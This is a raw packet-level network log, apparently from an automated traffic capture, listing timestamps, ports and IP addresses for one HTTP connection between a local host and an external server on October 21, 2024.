Oct 21, 2024 08:47:26.985411882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985420942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985444069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985450983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985475063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985483885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985517025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985522985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985558033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985565901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985589981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985599995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985621929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985631943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985655069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985661030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985686064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985693932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985713959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985726118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985744953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985753059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985785007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985793114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985825062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985832930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985867023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985872984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985904932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985913038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985938072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985945940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985977888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985985994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986021996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986026049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986062050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986068964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986109972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986116886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986149073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986160040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986181974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986182928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986212969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986222982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986244917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986253977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986275911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986284971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986306906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986315012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986340046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986346006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986372948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986382008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986406088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986414909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986438036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986450911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986465931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986479998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986498117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986506939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986530066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986537933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986561060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986572027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986593008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986602068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986624002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986633062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986656904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986664057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986692905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986699104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986727953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986733913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986758947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986767054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986793995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986799002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986820936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.986829996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.986861944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992331028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992383003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992383957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992415905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992427111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992460966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992464066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992496014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992505074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992527962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992535114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992561102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.992566109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.992600918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.078949928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.078986883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.079005003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.079243898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.079243898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104312897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104407072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104485989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104541063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104589939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104638100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104669094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104669094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104669094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104701996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104729891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104733944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104747057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104764938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104774952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104805946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104813099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104856014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104860067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104891062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104902029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104922056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.104931116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104964018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.104973078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105015039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105021000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105058908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105067968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105103970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105108976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105143070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105150938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105181932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105194092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105225086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105231047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105262995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105273008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105307102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105309963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105340004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105350018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105380058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105389118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105417013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105429888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105456114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105463982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105495930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105504990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105536938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105541945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105572939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105580091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105612993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105618000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105648994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105665922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105679989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105689049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105720997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105726957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105757952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105763912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105798960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105807066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105837107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105846882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105868101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105878115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105899096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105911016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105935097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105940104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105966091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.105977058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.105997086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106005907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106028080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106033087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106060028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106066942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106090069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106097937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106121063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106129885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106152058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106159925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106183052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106192112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106213093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106221914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106245041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106254101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106276035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106287003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106307983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106314898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106338978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106344938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106369019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106379032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106400967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106405973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106434107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106441021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106461048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106476068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106496096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106496096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106527090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106535912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106554985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106569052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106585979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106595993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106617928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.106626987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.106659889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.111709118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111740112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111766100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.111773014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111782074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.111813068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.111852884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111896038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.111901999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111942053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.111948013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111979008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.111987114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.112010002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.112018108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.112040997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.112050056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.112072945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.112082958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.112112045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.198496103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.198544025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.198580980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.198684931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.198684931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.198684931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.223957062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224006891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224039078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224070072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224118948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224119902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224121094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224121094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224150896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224165916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224168062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224199057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224212885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224226952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224245071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224270105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224281073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224328995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224334002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224360943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224376917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224394083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224406004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224421024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224447012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224464893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224468946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224499941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224517107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224545956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224548101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224581003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224594116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224627972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224631071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224663019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224675894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224694967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224714041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224739075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224742889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224772930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224785089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224814892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224821091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224852085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224874020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224884987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224893093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224915028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224930048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224961042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.224967003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.224992990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225012064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225023985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225028992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225064039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225070953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225100994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225117922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225131989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225143909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225177050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225183010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225214958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225224018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225245953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225264072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225285053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225297928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225325108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225346088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225369930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225370884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225404024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225413084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225434065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225450039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225466013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225477934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.225497007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.225512028 CEST	49732	80	192.168.2.4	147.45.44.221
